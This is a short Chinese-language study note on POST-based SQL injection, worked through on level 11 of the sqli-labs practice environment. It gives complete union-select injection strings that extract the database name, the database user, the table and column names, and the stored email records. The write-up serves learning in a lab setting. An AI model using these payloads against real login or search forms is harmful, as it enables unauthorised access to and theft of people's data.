POST注入
①除了在url中体提交,也可以在网页输入上提交,如果需要与数据库连接的话就可能会存在注入,数据需要抓包才能看见。
② 产生的地方,多半出现在登录框,查询框,等各种和数据库有交互的框数据。
③提交方式,与参数类型(单引号,双引号的干扰)
案列(实验环境,SQlilabs 十一关)
1)抓包结果可以看出,账户,密码的提交方式,猜测可能有注入点
2)判断注入为字符型注入
3)猜测字段数为2
4)联合查询,查询数据库名与数据库用户
SELECT username, password FROM users WHERE username='' union select database(),user()#'and password='' LIMIT 0,1
5)获取该数据下的所有表
SELECT username, password FROM users WHERE username='' union select group_concat(table_name),3 from information_schema.tables where table_schema='security'-- 'and password='password' LIMIT 0,1
6)获取emails表的字段(id,email_id两个字段)
SELECT username, password FROM users WHERE username=''union select group_concat(column_name),3 from information_schema.columns where table_name='emails' and table_schema='security'#'and password='' LIMIT 0,1
7)获取数据
SELECT username, password FROM users WHERE username='' union select group_concat(id),group_concat(email_id )from emails#'and password='' LIMIT 0,1